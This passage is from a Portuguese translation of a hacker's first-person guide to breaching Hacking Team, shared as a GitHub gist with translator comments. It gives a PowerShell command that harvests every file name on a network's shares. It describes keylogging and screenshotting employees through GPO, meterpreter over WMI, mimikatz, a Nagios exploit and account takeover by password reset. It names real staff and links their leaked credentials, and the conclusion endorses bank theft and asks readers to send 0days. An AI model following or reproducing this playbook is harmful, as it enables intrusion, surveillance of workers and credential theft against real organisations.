[4] https://blog.netspi.com/tag/persistence/
----[ 13.3 - Reconhecimento interno ]-------------------------------------------
Hoje em dia a melhor ferramenta para entender redes windows é o Powerview [1].
Vale a pena ler todo o material escrito pelo autor [2], antes de tudo [3], [4], [5], e
[6]. Powershell por si é muito potente [7]. Como ainda há muitos servidores 2003 e 2000
sem powershell, você tem que aprender também as coisas da velha escola [8],
com ferramentas como netview.exe [9] ou o comando de windows "net view". Outras
técnicas que eu gosto são:
1) Baixar uma lista de nomes de arquivos
Com uma conta de administrador de domínio, você pode baixar todos os nomes de arquivos
na rede com powershell:
Invoke-ShareFinderThreaded -ExcludedShares IPC$,PRINT$,ADMIN$ |
select-string '^(.*) \t-' | %{dir -recurse $_.Matches[0].Groups[1] |
select fullname | out-file -append files.txt}
Mais tarde, poderá ler mais tranquilo e escolher quais quer copiar.
2) Ler e-mails
Como já vimos, podemos copiar os emails usando powershell e eles tem
muita informação útil.
3) Ler sharepoint
Esse é outro lugar onde muitas empresas mantem informações importantes.
Podemos baixar com powershell [10].
4) Active Directory [11]
Tem muita informação útil sobre os usuários e computadores. Sem ser
o administrador do domínio já dá para encontrar muita informação usando
powerview e outras ferramentas [12]. Depois de conseguir acesso de
administrador de domínio você deve exportar todas as informações do AD
com csvde ou outra ferramenta.
5) Espionar os empregados
Um dos meus passatempos prediletos é caçar os sysadmins. Espionando o
Christan Pozzi (sysadmin do Hacking Team) consegui acesso ao servidor
Nagios que me deu acesso a rede sviluppo (rede de desenvolvimento com
o código fonte do RCS). Com uma simples combinação de Get-Keystrokes
e Get-TimedScreenshot do PowerSploit [13], Do-Exfiltration do
nishang [14], e GPO, podemos espionar qualquer empregado, inclusive o
domínio inteiro.
[1] https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerView
[2] http://www.harmj0y.net/blog/tag/powerview/
[3] http://www.harmj0y.net/blog/powershell/veil-powerview-a-usage-guide/
[4] http://www.harmj0y.net/blog/redteaming/powerview-2-0/
[5] http://www.harmj0y.net/blog/penetesting/i-hunt-sysadmins/
[6] http://www.slideshare.net/harmj0y/i-have-the-powerview
[7] https://adsecurity.org/?p=2535
[8] https://www.youtube.com/watch?v=rpwrKhgMd7E
[9] https://github.com/mubix/netview
[10] https://blogs.msdn.microsoft.com/rcormier/2013/03/30/how-to-perform-bulk-downloads-of-files-in-sharepoint/
[11] https://adsecurity.org/?page_id=41
[12] http://www.darkoperator.com/?tag=Active+Directory
[13] https://github.com/PowerShellMafia/PowerSploit
[14] https://github.com/samratashok/nishang
--[ 14 - Caçando Sysadmins ]----------------------------------------------------
Ao ler a documentação da infraestrutura [1], me dei conta que ainda
faltava acesso a uma coisa importante - a "Rede Sviluppo", uma rede isolada que
guarda todo o código fonte do RCS . Os sysadmins de uma empresa sempre tem acesso
a tudo. Procurei nos computadores do Mauro Romeo e Christian Possi para ver como
lidavam com a rede isolada e para saber se havia outros sistemas interessantes que deveria
investigar. Foi fácil entrar em seus computadores já que eram parte do domínio de
windows em que eu tinha acesso de administrador. O computador do Mauro Romeo não tinha
nenhuma porta aberta então tive que abrir a porta do WMI [2] para executar o meterpreter[3].
Além de gravar a digitação e telas com Get-Keystrokes e Get-TimedScreenshot, usei muitos
módulos /gather/ do metasploit, CredMan.ps1 [4], e procurei por arquivos [5]. Ao descobrir
que o Pozzi tinha um volume Truecrypt esperei que ele o montasse para então copiar os arquivos.
Muitos riram das senhas fracas do Chirstian Pozzi (e ele mesmo oferece muito
material para comédia [6][7][8][9]). Eu as inclui no vazamento como uma forma de despistar e também para poder
rir dele. A realidade é que o mimikatz e os keyloggers pegam as mesmas senhas.
[1] http://hacking.technology/Hacked%20Team/FileServer/FileServer/Hackingteam/InfrastrutturaIT/
[2] http://www.hammer-software.com/wmigphowto.shtml
[3] https://www.trustedsec.com/june-2015/no_psexec_needed/
[4] https://gallery.technet.microsoft.com/scriptcenter/PowerShell-Credentials-d44c3cde
[5] http://pwnwiki.io/#!presence/windows/find_files.md
[6] http://archive.is/TbaPy
[7] http://hacking.technology/Hacked%20Team/c.pozzi/screenshots/
[8] http://hacking.technology/Hacked%20Team/c.pozzi/Desktop/you.txt
[9] http://hacking.technology/Hacked%20Team/c.pozzi/credentials/
--[ 15 - A Ponte ]------------------------------------------------------------
Dentro do volume criptografado do Christian Pozzi existia um arquivo de texto com muitas
senhas [1]. Uma delas era para um servidor de Fully Automated Nagios,
que tinha acesso a rede sviluppo para poder monitorá-la. Eu tinha encontrado a
ponte. Tinha somente a senha para a interface web, mas tinha um exploit público[2]
para executar código e conseguir um shell (é um exploit sem autenticação, mas
mas precisa que um usuário tenha uma sessão aberta para qual usei a senha do arquivo de texto).
[1] http://hacking.technology/Hacked%20Team/c.pozzi/Truecrypt%20Volume/Login%20HT.txt
[2] http://seclists.org/fulldisclosure/2014/Oct/78
--[ 16 - Reutilizando e alterando senhas ]----------------------------
Lendo os emails, vi a Daniele Milan concedendo acesso a repositórios git.
Eu já tinha sua senha de windows graças aos mimikatz. Testei a senha no servidor
git e funcionou. Tentei sudo e funcionou. Para os servidores gitlab e sua conta
de twitter utilizei a função "recuperar a senha" e meu acesso ao servidor de emails
para setar uma nova senha.
--[ 17 - Conclusão ]-----------------------------------------------------------
Aqui está. É fácil derrubar uma empresa e parar seus abusos contra os direitos
humanos. Essa é a beleza e a assimetria do hacking: com apenas algumas horas de
trabalho, uma pessoa sozinha é capaz de desfazer anos de trabalho de uma empresa
multimilionária. O hacking nos dá a possibilidade de lutar e vencer.
Os guias de hacking sempre terminam com uma advertência: essa informação deve ser
usada para fins educativos, seja um hacker ético, não ataque os computadores sem
permissão, blablablá. Vou dizer o mesmo, mas com um conceito mais rebelde de hacker
"ético". Seria hacking ético vazar documentos, expropriar dinheiro dos bancos e proteger
os computadores das pessoas comuns. Porém, a maioria das pessoas que se autodenominam
"hackers éticos" trabalham somente para proteger aqueles que pagam seus orçamentos
de consultoria, que frequentemente são os mesmos que mais merecem ser hackeados.
O Hacking Team vê a si mesmo como parte de uma tradição de inspiração de modelo
italiano [1]. Eu vejo Vincenzetti, sua empresa e seus amiguinhos da polícia e
governo como parte de uma grande tradição do fascismo italiano. Quero dedicar esse
guia para as vítimas da invasão da Escola Armando Diaz e a todos aqueles que
tiveram seu sangue derramado nas mãos dos fascistas italianos.
[1] https://twitter.com/coracurrier/status/618104723263090688
--[ 18 - Contato ]-------------------------------------------------------------
Para me enviar tentativas de phishing, ameaças de morte escritas
em italiano [1] [2], me passar 0days ou acesso a bancos,
corporações, governos, etc.
[1] http://andres.delgado.ec/2016/01/15/el-miedo-de-vigilar-a-los-vigilantes/
[2] https://twitter.com/CthulhuSec/status/619459002854977537
somente emails criptografados, por favor:
https://securityinabox.org/es/thunderbird_usarenigmail
-----BEGIN PGP PUBLIC KEY BLOCK-----
mQENBFVp37MBCACu0rMiDtOtn98NurHUPYyI3Fua+bmF2E7OUihTodv4F/N04KKx
vDZlhKfgeLVSns5oSimBKhv4Z2bzvvc1w/00JH7UTLcZNbt9WGxtLEs+C+jF9j2g
27QIfOJGLFhzYm2GYWIiKr88y95YLJxvrMNmJEDwonTECY68RNaoohjy/TcdWA8x
+fCM4OHxM4AwkqqbaAtqUwAJ3Wxr+Hr/3KV+UNV1lBPlGGVSnV+OA4m8XWaPE73h
VYMVbIkJzOXK9enaXyiGKL8LdOHonz5LaGraRousmiu8JCc6HwLHWJLrkcTI9lP8
Ms3gckaJ30JnPc/qGSaFqvl4pJbx/CK6CwqrABEBAAG0IEhhY2sgQmFjayEgPGhh
Y2tiYWNrQHJpc2V1cC5uZXQ+iQE3BBMBCgAhBQJXAvPFAhsDBQsJCAcDBRUKCQgL
BRYCAwEAAh4BAheAAAoJEDScPRHoqSXQoTwIAI8YFRdTptbyEl6Khk2h8+cr3tac
QdqVNDdp6nbP2rVPW+o3DeTNg0R+87NAlGWPg17VWxsYoa4ZwKHdD/tTNPk0Sldf
cQE+IBfSaO0084d6nvSYTpd6iWBvCgJ1iQQwCq0oTgROzDURvWZ6lwyTZ8XK1KF0
JCloCSnbXB8cCemXnQLZwjGvBVgQyaF49rHYn9+edsudn341oPB+7LK7l8vj5Pys
4eauRd/XzYqxqNzlQ5ea6MZuZZL9PX8eN2obJzGaK4qvxQ31uDh/YiP3MeBzFJX8
X2NYUOYWm3oxiGQohoAn//BVHtk2Xf7hxAY4bbDEQEoDLSPybZEXugzM6gC5AQ0E
VWnfswEIANaqa8fFyiiXYWJVizUsVGbjTTO7WfuNflg4F/q/HQBYfl4ne3edL2Ai
oHOGg0OMNuhNrs56eLRyB/6IjM3TCcfn074HL37eDT0Z9p+rbxPDPFOJAMFYyyjm
n5a6HfmctRzjEXccKFaqlwalhnRP6MRFZGKU6+x1nXbiW8sqGEH0a/VdCR3/CY5F
Pbvmhh894wOzivUlP86TwjWGxLu1kHFo7JDgp8YkRGsXv0mvFav70QXtHllxOAy9
WlBP72gPyiWQ/fSUuoM+WDrMZZ9ETt0j3Uwx0Wo42ZoOXmbAd2jgJXSI9+9e4YUo
jYYjoU4ZuX77iM3+VWW1J1xJujOXJ/sAEQEAAYkBHwQYAQIACQUCVWnfswIbDAAK
CRA0nD0R6Kkl0ArYB/47LnABkz/t6M1PwOFvDN3e2JNgS1QV2YpBdog1hQj6RiEA
OoeQKXTEYaymUwYXadSj7oCFRSyhYRvSMb4GZBa1bo8RxrrTVa0vZk8uA0DB1ZZR
LWvSR7nwcUkZglZCq3Jpmsy1VLjCrMC4hXnFeGi9AX1fh28RYHudh8pecnGKh+Gi
JKp0XtOqGF5NH/Zdgz6t+Z8U++vuwWQaubMJTRdMTGhaRv+jIzKOiO9YtPNamHRq
Mf2vA3oqf22vgWQbK1MOK/4Tp6MGg/VR2SaKAsqyAZC7l5TeoSPN5HdEgA7u5GpB
D0lLGUSkx24yD1sIAGEZ4B57VZNBS0az8HoQeF0k
=E5+y
-----END PGP PUBLIC KEY BLOCK-----
Se não você, quem? Se não for agora, quando?
_ _ _ ____ _ _
| | | | __ _ ___| | __ | __ ) __ _ ___| | _| |
| |_| |/ _` |/ __| |/ / | _ \ / _` |/ __| |/ / |
| _ | (_| | (__| < | |_) | (_| | (__| <|_|
|_| |_|\__,_|\___|_|\_\ |____/ \__,_|\___|_|\_(_)
@iannsp
Copy link
Author

iannsp commented Apr 20, 2016

continuo a tradução apesar de não concordar completamente com as praticas indicadas pelo documento, mas estou considerando o fato de que é a opnião de uma pessoa e que a responsabilidade sobre os atos provenientes das praticas indicadas é de cada indivíduo e não do autor.

@iannsp
Copy link
Author

iannsp commented Apr 20, 2016

"Quando eu era jovem e temerário eu fiz muitas coisas sem nenhuma proteção (me refiro
a hacking)" ;)

Copy link

ghost commented Apr 20, 2016

Distribuir a pratica é fundamental para a resistência em um aspecto.

@iannsp
Copy link
Author

iannsp commented Apr 20, 2016

Esta tarefa de traducao migrou para o pad da riseup
por favor, caso queria se envolver na traducao visite o link da riseup.

thanks @mefabiocastro.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment